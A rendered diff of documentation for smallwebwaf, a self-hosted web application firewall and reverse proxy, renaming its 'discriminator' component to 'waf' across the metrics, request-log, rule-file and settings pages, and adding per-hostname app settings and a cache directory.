- `/var/lib/sww` for `discriminator`'s state files, and `/etc/sww/rules.d` with
|
- `/var/lib/sww` for `waf`'s state files, and `/etc/sww/rules.d` with the
|
||||||
the default rule file `share/rules.d/00-default.rules`.
|
default rule file `share/rules.d/00-default.rules`. The `run` script makes
|
||||||
|
`SWW_STATE_DIR` when it is missing.
|
||||||
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`.
|
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`.
|
||||||
|
|
||||||
## Pins
|
## Pins
|
||||||
|
|||||||
+8
-8
@@ -1,8 +1,8 @@
|
|||||||
# The metrics
|
# The metrics
|
||||||
|
|
||||||
What `GET /_sww/metrics` answers with, at `discriminator`'s own address.
|
What `GET /_sww/metrics` answers with, at `waf`'s own address. "Metrics
|
||||||
"Metrics endpoint" in [`SPEC.md`](../SPEC.md) describes the endpoint. Prometheus
|
endpoint" in [`SPEC.md`](../SPEC.md) describes the endpoint. Prometheus keeps
|
||||||
keeps the `instance` label as `exported_instance` unless the scrape sets
|
the `instance` label as `exported_instance` unless the scrape sets
|
||||||
`honor_labels: true`. `rproxy` has no metrics.
|
`honor_labels: true`. `rproxy` has no metrics.
|
||||||
|
|
||||||
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
|
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
|
||||||
@@ -15,7 +15,7 @@ body bytes, never headers, whatever `SWW_BYTES_COUNT` says.
|
|||||||
- `sww_request_duration_seconds` and `sww_upstream_duration_seconds`, as
|
- `sww_request_duration_seconds` and `sww_upstream_duration_seconds`, as
|
||||||
histograms;
|
histograms;
|
||||||
- `sww_requests_in_flight`: the questions and requests to its own endpoints that
|
- `sww_requests_in_flight`: the questions and requests to its own endpoints that
|
||||||
`discriminator` is handling.
|
`waf` is handling.
|
||||||
|
|
||||||
## Limits and bans
|
## Limits and bans
|
||||||
|
|
||||||
@@ -58,9 +58,9 @@ By `source`: each list's URL, each zone, and `abuseipdb`:
|
|||||||
- `sww_reputation_last_fetch_timestamp_seconds`, for a list;
|
- `sww_reputation_last_fetch_timestamp_seconds`, for a list;
|
||||||
- `sww_reputation_daily_budget_remaining`, for AbuseIPDB.
|
- `sww_reputation_daily_budget_remaining`, for AbuseIPDB.
|
||||||
|
|
||||||
## State files
|
## State and cache files
|
||||||
|
|
||||||
By `file`:
|
By `file`, the name of a state or cache file:
|
||||||
|
|
||||||
- `sww_state_file_writes_total`, `sww_state_file_write_failures_total`,
|
- `sww_state_file_writes_total`, `sww_state_file_write_failures_total`,
|
||||||
`sww_state_file_last_write_timestamp_seconds` and `sww_state_file_size_bytes`;
|
`sww_state_file_last_write_timestamp_seconds` and `sww_state_file_size_bytes`;
|
||||||
@@ -78,8 +78,8 @@ By `file`:
|
|||||||
|
|
||||||
## When a request is counted
|
## When a request is counted
|
||||||
|
|
||||||
`discriminator` counts a denied request at its decision, and a request to its
|
`waf` counts a denied request at its decision, and a request to its own
|
||||||
own endpoints when it is answered. It counts an allowed request when its report
|
endpoints when it is answered. It counts an allowed request when its report
|
||||||
comes, with the status, bytes and times the report gives. These are not counted:
|
comes, with the status, bytes and times the report gives. These are not counted:
|
||||||
|
|
||||||
- a report itself;
|
- a report itself;
|
||||||
|
|||||||
+34
-37
@@ -1,32 +1,32 @@
|
|||||||
# The request log's fields
|
# The request log's fields
|
||||||
|
|
||||||
The fields of the JSON objects `rproxy` and `discriminator` write about each
|
The fields of the JSON objects `rproxy` and `waf` write about each request.
|
||||||
request. "Request log" and "The log" in [`SPEC.md`](../SPEC.md) say when a line
|
"Request log" and "The log" in [`SPEC.md`](../SPEC.md) say when a line is
|
||||||
is written and how the log is sent to a syslog server. A field that does not
|
written and how the log is sent to a syslog server. A field that does not apply
|
||||||
apply to a request is left out.
|
to a request is left out.
|
||||||
|
|
||||||
## `discriminator`'s lines
|
## `waf`'s lines
|
||||||
|
|
||||||
`sww discriminator` writes two lines for each question it answers, joined by
|
`sww waf` writes two lines for each question it answers, joined by `request_id`.
|
||||||
`request_id`. The field `discriminator_line` says which of the two a line is:
|
The field `waf_line` says which of the two a line is:
|
||||||
|
|
||||||
- `decision`: the line it writes once it has answered the question;
|
- `decision`: the line it writes once it has answered the question;
|
||||||
- `report`: the line it writes when `rproxy`'s report comes, with everything
|
- `report`: the line it writes when `rproxy`'s report comes, with everything
|
||||||
known. The repetition is intended.
|
known. The repetition is intended.
|
||||||
|
|
||||||
A request to its own endpoints writes one line, without `discriminator_line`. A
|
A request to its own endpoints writes one line, without `waf_line`. A report
|
||||||
report writes no line but the `report` line of the request it names.
|
writes no line but the `report` line of the request it names.
|
||||||
|
|
||||||
These questions write no line:
|
These questions write no line:
|
||||||
|
|
||||||
- a question refused with `400` (see "The question" under "`discriminator`" in
|
- a question refused with `400` (see "The question" under "`waf`" in
|
||||||
[`SPEC.md`](../SPEC.md));
|
[`SPEC.md`](../SPEC.md));
|
||||||
- a question whose body stopped arriving, which gets no answer.
|
- a question whose body stopped arriving, which gets no answer.
|
||||||
|
|
||||||
A `report` line:
|
A `report` line:
|
||||||
|
|
||||||
```
|
```
|
||||||
{"type":"request","discriminator_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/discriminator","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"core_rule_set_score":0,"duration_total_ms":3.217,"duration_checks_ms":0.041,"duration_core_rule_set_ms":0.029,"duration_upstream_total_ms":3.104}
|
{"type":"request","waf_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/waf","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"core_rule_set_score":0,"duration_total_ms":3.217,"duration_checks_ms":0.041,"duration_core_rule_set_ms":0.029,"duration_upstream_total_ms":3.104}
|
||||||
```
|
```
|
||||||
|
|
||||||
### Every line
|
### Every line
|
||||||
@@ -41,9 +41,8 @@ Every one of these lines has:
|
|||||||
|
|
||||||
### Standard web log fields
|
### Standard web log fields
|
||||||
|
|
||||||
- `time`: when `discriminator` had read the question's body, RFC 3339 with
|
- `time`: when `waf` had read the question's body, RFC 3339 with milliseconds,
|
||||||
milliseconds, in UTC. The `report` line gives the same time as the `decision`
|
in UTC. The `report` line gives the same time as the `decision` line.
|
||||||
line.
|
|
||||||
- `instance`: `SWW_INSTANCE_NAME`.
|
- `instance`: `SWW_INSTANCE_NAME`.
|
||||||
- `client_ip`: the visitor's address, as `rproxy` worked it out.
|
- `client_ip`: the visitor's address, as `rproxy` worked it out.
|
||||||
- `method`, `path` and `query`: the visitor's request.
|
- `method`, `path` and `query`: the visitor's request.
|
||||||
@@ -52,9 +51,8 @@ Every one of these lines has:
|
|||||||
- `host`: the site the visitor asked for.
|
- `host`: the site the visitor asked for.
|
||||||
- `protocol`: the question's own, `HTTP/1.1`.
|
- `protocol`: the question's own, `HTTP/1.1`.
|
||||||
- `status`:
|
- `status`:
|
||||||
- on the `decision` line, what `discriminator` answered: `200` for `allow`,
|
- on the `decision` line, what `waf` answered: `200` for `allow`, the status
|
||||||
the status of `deny`, or `0` for `close`, as the visitor is then sent
|
of `deny`, or `0` for `close`, as the visitor is then sent nothing;
|
||||||
nothing;
|
|
||||||
- on the `report` line, what the visitor got, `0` if nothing.
|
- on the `report` line, what the visitor got, `0` if nothing.
|
||||||
- `request_bytes`:
|
- `request_bytes`:
|
||||||
- on the `decision` line, how much of the question's body the Core Rule Set
|
- on the `decision` line, how much of the question's body the Core Rule Set
|
||||||
@@ -62,7 +60,7 @@ Every one of these lines has:
|
|||||||
- on the `report` line, the bytes of the visitor's body that `rproxy` read,
|
- on the `report` line, the bytes of the visitor's body that `rproxy` read,
|
||||||
with what a WebSocket carried from the visitor.
|
with what a WebSocket carried from the visitor.
|
||||||
- `response_bytes`:
|
- `response_bytes`:
|
||||||
- on the `decision` line, the body of `discriminator`'s answer;
|
- on the `decision` line, the body of `waf`'s answer;
|
||||||
- on the `report` line, the bytes of the answer's body, with what a
|
- on the `report` line, the bytes of the answer's body, with what a
|
||||||
WebSocket carried from the app.
|
WebSocket carried from the app.
|
||||||
- `referer` and `user_agent`.
|
- `referer` and `user_agent`.
|
||||||
@@ -79,7 +77,7 @@ Every one of these lines has:
|
|||||||
- lookups are off;
|
- lookups are off;
|
||||||
- the client is not looked up;
|
- the client is not looked up;
|
||||||
- the source cannot place the client;
|
- the source cannot place the client;
|
||||||
- GeoJS had not answered by the time `discriminator` answered.
|
- GeoJS had not answered by the time `waf` answered.
|
||||||
- `content_type`: the visitor's `Content-Type`.
|
- `content_type`: the visitor's `Content-Type`.
|
||||||
- `content_length`: the body length the visitor announced.
|
- `content_length`: the body length the visitor announced.
|
||||||
- `request_headers`: the headers listed in `SWW_LOG_REQUEST_HEADERS`, by name in
|
- `request_headers`: the headers listed in `SWW_LOG_REQUEST_HEADERS`, by name in
|
||||||
@@ -89,7 +87,7 @@ Every one of these lines has:
|
|||||||
|
|
||||||
### Response detail
|
### Response detail
|
||||||
|
|
||||||
- `response_content_type`: the type of `discriminator`'s own answer.
|
- `response_content_type`: the type of `waf`'s own answer.
|
||||||
- `aborted`: true when `rproxy` went away before the answer.
|
- `aborted`: true when `rproxy` went away before the answer.
|
||||||
|
|
||||||
### Decision
|
### Decision
|
||||||
@@ -105,8 +103,8 @@ Every one of these lines has:
|
|||||||
- `country_denied`, `client_is_rate_limited`, `blocked_by_block_rule` and
|
- `country_denied`, `client_is_rate_limited`, `blocked_by_block_rule` and
|
||||||
`blocked_by_core_rule_set`: refused by that check;
|
`blocked_by_core_rule_set`: refused by that check;
|
||||||
- `request_header_too_large`: over a header limit;
|
- `request_header_too_large`: over a header limit;
|
||||||
- `own_endpoint`: answered at one of `discriminator`'s own endpoints, or
|
- `own_endpoint`: answered at one of `waf`'s own endpoints, or `404` for a
|
||||||
`404` for a path under `/_sww/`.
|
path under `/_sww/`.
|
||||||
- `would_action`: in `observe` mode, what `enforce` mode would have done with a
|
- `would_action`: in `observe` mode, what `enforce` mode would have done with a
|
||||||
request it would have refused. `action` then names what was done, normally
|
request it would have refused. `action` then names what was done, normally
|
||||||
`forward`.
|
`forward`.
|
||||||
@@ -131,9 +129,8 @@ Every one of these lines has:
|
|||||||
- `core_rule_set`: `score`, and `threshold`, `SWW_WAF_ANOMALY_THRESHOLD`;
|
- `core_rule_set`: `score`, and `threshold`, `SWW_WAF_ANOMALY_THRESHOLD`;
|
||||||
- `refusal_limit`: `window`, `count` and `limit`, of the error burst;
|
- `refusal_limit`: `window`, `count` and `limit`, of the error burst;
|
||||||
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
|
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
|
||||||
- `after_answer_heuristic`: the heuristic that banned the client after
|
- `after_answer_heuristic`: the heuristic that banned the client after `waf`
|
||||||
`discriminator` answered the request, in `observe` mode too: `refusal_limit`
|
answered the request, in `observe` mode too: `refusal_limit` or `byte_limits`.
|
||||||
or `byte_limits`.
|
|
||||||
- `after_answer_heuristic_figures`: an object of the figures that heuristic
|
- `after_answer_heuristic_figures`: an object of the figures that heuristic
|
||||||
acted on, as listed above.
|
acted on, as listed above.
|
||||||
|
|
||||||
@@ -191,8 +188,8 @@ Every one of these lines has:
|
|||||||
All in milliseconds:
|
All in milliseconds:
|
||||||
|
|
||||||
- `duration_total_ms`:
|
- `duration_total_ms`:
|
||||||
- on the `decision` line, from `discriminator` having read the question's
|
- on the `decision` line, from `waf` having read the question's body to the
|
||||||
body to the line;
|
line;
|
||||||
- on the `report` line, from `rproxy` having read the request's headers to
|
- on the `report` line, from `rproxy` having read the request's headers to
|
||||||
the end of the answer.
|
the end of the answer.
|
||||||
- `duration_checks_ms`: to the end of the checks;
|
- `duration_checks_ms`: to the end of the checks;
|
||||||
@@ -202,8 +199,8 @@ All in milliseconds:
|
|||||||
|
|
||||||
### Requests to its own endpoints
|
### Requests to its own endpoints
|
||||||
|
|
||||||
The line of a request to `discriminator`'s own endpoints has these fields, with
|
The line of a request to `waf`'s own endpoints has these fields, with these
|
||||||
these meanings where they differ:
|
meanings where they differ:
|
||||||
|
|
||||||
- `client_ip` and `peer_ip`: the request's TCP peer.
|
- `client_ip` and `peer_ip`: the request's TCP peer.
|
||||||
- `request_id`: a new random one of 26 letters and digits.
|
- `request_id`: a new random one of 26 letters and digits.
|
||||||
@@ -216,7 +213,7 @@ these meanings where they differ:
|
|||||||
## `rproxy`'s line
|
## `rproxy`'s line
|
||||||
|
|
||||||
`sww rproxy` writes one short line for each request. `request_id` joins it to
|
`sww rproxy` writes one short line for each request. `request_id` joins it to
|
||||||
`discriminator`'s two. It has these fields and no others:
|
`waf`'s two. It has these fields and no others:
|
||||||
|
|
||||||
- `type`: `request`.
|
- `type`: `request`.
|
||||||
- `time`: when the request arrived, RFC 3339 with milliseconds, in UTC.
|
- `time`: when the request arrived, RFC 3339 with milliseconds, in UTC.
|
||||||
@@ -231,15 +228,15 @@ these meanings where they differ:
|
|||||||
carried from the app.
|
carried from the app.
|
||||||
- `duration_request_ms`: milliseconds from the request's headers being read
|
- `duration_request_ms`: milliseconds from the request's headers being read
|
||||||
until the app had been sent the whole request, or the answer started if that
|
until the app had been sent the whole request, or the answer started if that
|
||||||
was sooner. It includes the wait for `discriminator`.
|
was sooner. It includes the wait for `waf`.
|
||||||
- `duration_response_ms`: milliseconds from then until the end of the answer.
|
- `duration_response_ms`: milliseconds from then until the end of the answer.
|
||||||
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
|
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
|
||||||
is `discriminator`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is
|
is `waf`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is left out
|
||||||
left out when:
|
when:
|
||||||
- `discriminator` was not asked, as for the health check;
|
- `waf` was not asked, as for the health check;
|
||||||
- the visitor went away while `discriminator` was being asked;
|
- the visitor went away while `waf` was being asked;
|
||||||
- `discriminator`'s answer had no valid `X-Sww-Disposition`;
|
- `waf`'s answer had no valid `X-Sww-Disposition`;
|
||||||
- `rproxy` could not pass on `discriminator`'s answer, and answered `502`.
|
- `rproxy` could not pass on `waf`'s answer, and answered `502`.
|
||||||
- `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave
|
- `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave
|
||||||
`disposition`, and otherwise left out.
|
`disposition`, and otherwise left out.
|
||||||
|
|
||||||
|
|||||||
+4
-6
@@ -54,20 +54,18 @@ empty-agent user_agent log ^$
|
|||||||
|
|
||||||
## A file of your own
|
## A file of your own
|
||||||
|
|
||||||
`discriminator` reads the rule files in its own container. Rules of your own go
|
`waf` reads the rule files in its own container. Rules of your own go in a file
|
||||||
in a file named to sort after the default, such as `50-site.rules`:
|
named to sort after the default, such as `50-site.rules`:
|
||||||
|
|
||||||
```
|
```
|
||||||
# 50-site.rules: WordPress probes, which this site never serves
|
# 50-site.rules: WordPress probes, which this site never serves
|
||||||
wp-probe path ban (?i)^/(wp-login\.php|xmlrpc\.php|wp-admin/)
|
wp-probe path ban (?i)^/(wp-login\.php|xmlrpc\.php|wp-admin/)
|
||||||
```
|
```
|
||||||
|
|
||||||
A `Dockerfile` built on the `smallwebwaf` image, for `discriminator` to run
|
A `Dockerfile` built on the `smallwebwaf` image, for `waf` to run from, adds it:
|
||||||
from, adds it:
|
|
||||||
|
|
||||||
```dockerfile
|
```dockerfile
|
||||||
COPY 50-site.rules /etc/sww/rules.d/50-site.rules
|
COPY 50-site.rules /etc/sww/rules.d/50-site.rules
|
||||||
```
|
```
|
||||||
|
|
||||||
Or mount it there. A `path` rule applies on every site behind that
|
Or mount it there. A `path` rule applies on every site behind that `waf`.
|
||||||
`discriminator`.
|
|
||||||
+73
-46
@@ -4,9 +4,9 @@ Every setting, its default and the values it takes, in the groups of "Settings"
|
|||||||
in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
|
in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
|
||||||
that take `off`, the `_FILE` form, and what each group does and why.
|
that take `off`, the `_FILE` form, and what each group does and why.
|
||||||
|
|
||||||
The settings that start with `SWW_` are `discriminator`'s. Those that start with
|
The settings that start with `SWW_` are `waf`'s. Those that start with `SWRP_`
|
||||||
`SWRP_` are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND` chooses
|
are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND` chooses between
|
||||||
between the two (see "The image's command" below).
|
the two (see "The image's command" below).
|
||||||
|
|
||||||
## Forms of values
|
## Forms of values
|
||||||
|
|
||||||
@@ -28,21 +28,20 @@ between the two (see "The image's command" below).
|
|||||||
|
|
||||||
## Core
|
## Core
|
||||||
|
|
||||||
- `SWW_LISTEN_ADDR` (default `:8080`): where `discriminator` listens: `:` and a
|
- `SWW_LISTEN_ADDR` (default `:8080`): where `waf` listens: `:` and a port, such
|
||||||
port, such as `:9000`. Leave the host out (see "Ports" in
|
as `:9000`. Leave the host out (see "Ports" in [`SPEC.md`](../SPEC.md)).
|
||||||
[`SPEC.md`](../SPEC.md)).
|
|
||||||
- `SWW_INSTANCE_NAME` (default: the container's host name): the `instance` name
|
- `SWW_INSTANCE_NAME` (default: the container's host name): the `instance` name
|
||||||
in each line `discriminator` logs, and in each alert and metric, such as
|
in each line `waf` logs, and in each alert and metric, such as `fsn1/waf`.
|
||||||
`fsn1/discriminator`. Valid UTF-8. No control character while
|
Valid UTF-8. No control character while `SWW_ALERT_NTFY_URL` is set. 1 to 48
|
||||||
`SWW_ALERT_NTFY_URL` is set. 1 to 48 printable ASCII characters without a
|
printable ASCII characters without a space while `SWW_LOG_REMOTE_URL` is set
|
||||||
space while `SWW_LOG_REMOTE_URL` is set and `SWW_LOG_REMOTE_APP_NAME` is not.
|
and `SWW_LOG_REMOTE_APP_NAME` is not.
|
||||||
- `SWW_MODE` (default `enforce`): `enforce` or `observe`.
|
- `SWW_MODE` (default `enforce`): `enforce` or `observe`.
|
||||||
- `SWW_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6 client's
|
- `SWW_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6 client's
|
||||||
group, from 32 to 128.
|
group, from 32 to 128.
|
||||||
- `SWW_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
|
- `SWW_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
|
||||||
number above zero.
|
number above zero.
|
||||||
- `SWW_MAX_BANS` (default `5000`): how many of its own bans `discriminator`
|
- `SWW_MAX_BANS` (default `5000`): how many of its own bans `waf` keeps, a whole
|
||||||
keeps, a whole number above zero.
|
number above zero.
|
||||||
|
|
||||||
## Tokens
|
## Tokens
|
||||||
|
|
||||||
@@ -51,19 +50,21 @@ between the two (see "The image's command" below).
|
|||||||
- `SWW_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At least
|
- `SWW_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At least
|
||||||
32 characters.
|
32 characters.
|
||||||
|
|
||||||
## State files
|
## State and cache files
|
||||||
|
|
||||||
- `SWW_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an
|
- `SWW_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an
|
||||||
absolute path that exists and can be written.
|
absolute path that can be written. The image's `run` script makes it.
|
||||||
- `SWW_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
- `SWW_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
||||||
written after a ban is made, lifted or made permanent. A duration.
|
written after a ban is made, lifted or made permanent. A duration.
|
||||||
- `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is
|
- `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state and cache
|
||||||
written. A duration.
|
file is written. A duration.
|
||||||
|
- `SWW_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache files,
|
||||||
|
an absolute path that can be written. The image's `run` script makes it.
|
||||||
|
|
||||||
## Logging
|
## Logging
|
||||||
|
|
||||||
- `SWW_LOG_LEVEL` (default `info`): the least severe of `discriminator`'s own
|
- `SWW_LOG_LEVEL` (default `info`): the least severe of `waf`'s own messages
|
||||||
messages that are written: `debug`, `info`, `warn` or `error`.
|
that are written: `debug`, `info`, `warn` or `error`.
|
||||||
- `SWW_LOG_REQUEST_HEADERS` (default
|
- `SWW_LOG_REQUEST_HEADERS` (default
|
||||||
`accept,accept-language,accept-encoding,content-type,origin,range`): the
|
`accept,accept-language,accept-encoding,content-type,origin,range`): the
|
||||||
request headers recorded in the log line, in either case. `Host` and
|
request headers recorded in the log line, in either case. `Host` and
|
||||||
@@ -167,8 +168,8 @@ cut off; the client is banned.
|
|||||||
|
|
||||||
## Request tags
|
## Request tags
|
||||||
|
|
||||||
Every request gets tags from what `discriminator` knows of its client. See
|
Every request gets tags from what `waf` knows of its client. See "Request tags"
|
||||||
"Request tags" in [`SPEC.md`](../SPEC.md).
|
in [`SPEC.md`](../SPEC.md).
|
||||||
|
|
||||||
- `SWW_TAG_LISTS` (default empty): address lists that each add a tag, as
|
- `SWW_TAG_LISTS` (default empty): address lists that each add a tag, as
|
||||||
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
|
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
|
||||||
@@ -188,10 +189,10 @@ Every request gets tags from what `discriminator` knows of its client. See
|
|||||||
|
|
||||||
- `SWW_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
|
- `SWW_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
|
||||||
routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a
|
routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a
|
||||||
service that gives an address's announced netblock and origin AS.
|
service that gives an address's announced netblock and origin AS. `waf` asks
|
||||||
`discriminator` asks it about each client, in the background, and adds the
|
it about each client, in the background, and adds the tags `asn=<number>` and
|
||||||
tags `asn=<number>` and `prefix=<netblock>` from its answer. While it is
|
`prefix=<netblock>` from its answer. While it is unset, nothing asks
|
||||||
unset, nothing asks routewatch and no request gets a `prefix=` tag.
|
routewatch and no request gets a `prefix=` tag.
|
||||||
|
|
||||||
`SWW_TAG_DENY` and `SWW_TAG_LIMIT_PERCENT` accept tags in either case. A tag
|
`SWW_TAG_DENY` and `SWW_TAG_LIMIT_PERCENT` accept tags in either case. A tag
|
||||||
that no request can get stops the start. A request can get only these:
|
that no request can get stops the start. A request can get only these:
|
||||||
@@ -255,6 +256,33 @@ the request first.
|
|||||||
a range. So does a directive that removes or changes rules as the file loads,
|
a range. So does a directive that removes or changes rules as the file loads,
|
||||||
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
|
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
|
||||||
yet. It has no `_FILE` form.
|
yet. It has no `_FILE` form.
|
||||||
|
- `SWW_APPS` (default unset): the apps each hostname serves. A request gets the
|
||||||
|
fixes of its hostname's apps only (see "Attack detection" in
|
||||||
|
[`SPEC.md`](../SPEC.md)).
|
||||||
|
- Entries are separated by semicolons. Each is a hostname, a colon, then one
|
||||||
|
or more apps separated by commas, for example
|
||||||
|
`git.example.com:gitea;blog.example.com:wordpress`.
|
||||||
|
- The supported apps are:
|
||||||
|
- `drupal`;
|
||||||
|
- `forgejo`, which gets gitea's fixes too;
|
||||||
|
- `ghost`;
|
||||||
|
- `gitea`;
|
||||||
|
- `mastodon`;
|
||||||
|
- `mediawiki`;
|
||||||
|
- `nextcloud`;
|
||||||
|
- `vaultwarden`;
|
||||||
|
- `wordpress`.
|
||||||
|
- The request's `Host` is matched by exact name, without its port and
|
||||||
|
without regard to case. There are no wildcards.
|
||||||
|
- A hostname not listed gets no app's fixes. Set empty, `SWW_APPS` lists no
|
||||||
|
hostname.
|
||||||
|
- Unset, every app's fixes apply to every hostname.
|
||||||
|
- Any of these mistakes stops the start:
|
||||||
|
- an unknown app;
|
||||||
|
- a hostname that is not a DNS name, such as `*.example.com`;
|
||||||
|
- a hostname listed twice;
|
||||||
|
- an app listed twice for one hostname;
|
||||||
|
- an entry without a colon.
|
||||||
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
|
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
|
||||||
in a minute from a rule file, a trap path or the Core Rule Set, a count or
|
in a minute from a rule file, a trap path or the Core Rule Set, a count or
|
||||||
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
|
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
|
||||||
@@ -377,7 +405,7 @@ Then mount its directory into the container read-only, and name the file:
|
|||||||
```sh
|
```sh
|
||||||
docker run \
|
docker run \
|
||||||
-v /srv/app/tokens:/etc/sww/tokens:ro \
|
-v /srv/app/tokens:/etc/sww/tokens:ro \
|
||||||
-e SWW_COMMAND=discriminator \
|
-e SWW_COMMAND=waf \
|
||||||
-e SWW_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
|
-e SWW_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
|
||||||
...
|
...
|
||||||
```
|
```
|
||||||
@@ -391,21 +419,20 @@ A few limits are fixed rather than settings:
|
|||||||
- at most 1,000 DNS blocklist queries are under way at once;
|
- at most 1,000 DNS blocklist queries are under way at once;
|
||||||
- at most 20,000 anomaly counters are kept;
|
- at most 20,000 anomaly counters are kept;
|
||||||
- each alert destination's queue holds at most 1,000 alerts;
|
- each alert destination's queue holds at most 1,000 alerts;
|
||||||
- `discriminator` holds at most 10,000 answered requests awaiting their reports;
|
- `waf` holds at most 10,000 answered requests awaiting their reports;
|
||||||
- `discriminator` refuses a request with more than 50 cookies or more than 100
|
- `waf` refuses a request with more than 50 cookies or more than 100 header
|
||||||
header fields (see "Answering in time" under "`discriminator`" in
|
fields (see "Answering in time" under "`waf`" in [`SPEC.md`](../SPEC.md));
|
||||||
[`SPEC.md`](../SPEC.md));
|
|
||||||
- `rproxy` takes a request line and headers of at most 32 KiB, and closes a
|
- `rproxy` takes a request line and headers of at most 32 KiB, and closes a
|
||||||
kept-open connection idle for 120 seconds;
|
kept-open connection idle for 120 seconds;
|
||||||
- `rproxy` reads at most 1 MiB of the body of `discriminator`'s answer, and
|
- `rproxy` reads at most 1 MiB of the body of `waf`'s answer, and answers `502`
|
||||||
answers `502` to a longer one.
|
to a longer one.
|
||||||
|
|
||||||
## `discriminator`'s answer and `rproxy`'s wait
|
## `waf`'s answer and `rproxy`'s wait
|
||||||
|
|
||||||
`SWW_LOOKUP_TIMEOUT` is the longest a question waits on an outside source. Keep
|
`SWW_LOOKUP_TIMEOUT` is the longest a question waits on an outside source. Keep
|
||||||
it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question waits
|
it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question waits
|
||||||
for `SWW_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are asked
|
for `SWW_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are asked
|
||||||
in the background (see "Answering in time" under "`discriminator`" in
|
in the background (see "Answering in time" under "`waf`" in
|
||||||
[`SPEC.md`](../SPEC.md)).
|
[`SPEC.md`](../SPEC.md)).
|
||||||
|
|
||||||
## `rproxy`
|
## `rproxy`
|
||||||
@@ -417,16 +444,15 @@ they do.
|
|||||||
|
|
||||||
A time here is a whole number of milliseconds above zero, such as `2000`.
|
A time here is a whole number of milliseconds above zero, such as `2000`.
|
||||||
|
|
||||||
- `SWRP_WAF_BACKEND` (required, no default): `discriminator`'s URL. An `http` or
|
- `SWRP_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or `https`
|
||||||
`https` URL with a host and an optional port, and nothing more. `rproxy`
|
URL with a host and an optional port, and nothing more. `rproxy` speaks
|
||||||
speaks HTTP/1.1 to it.
|
HTTP/1.1 to it.
|
||||||
- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for
|
- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `waf`'s
|
||||||
`discriminator`'s answer, to a question and to a report. A time; never `off`.
|
answer, to a question and to a report. A time; never `off`.
|
||||||
- `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when
|
- `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when
|
||||||
`discriminator` cannot be connected to, does not answer at all, or does not
|
`waf` cannot be connected to, does not answer at all, or does not answer
|
||||||
answer within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny`
|
within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny` answers
|
||||||
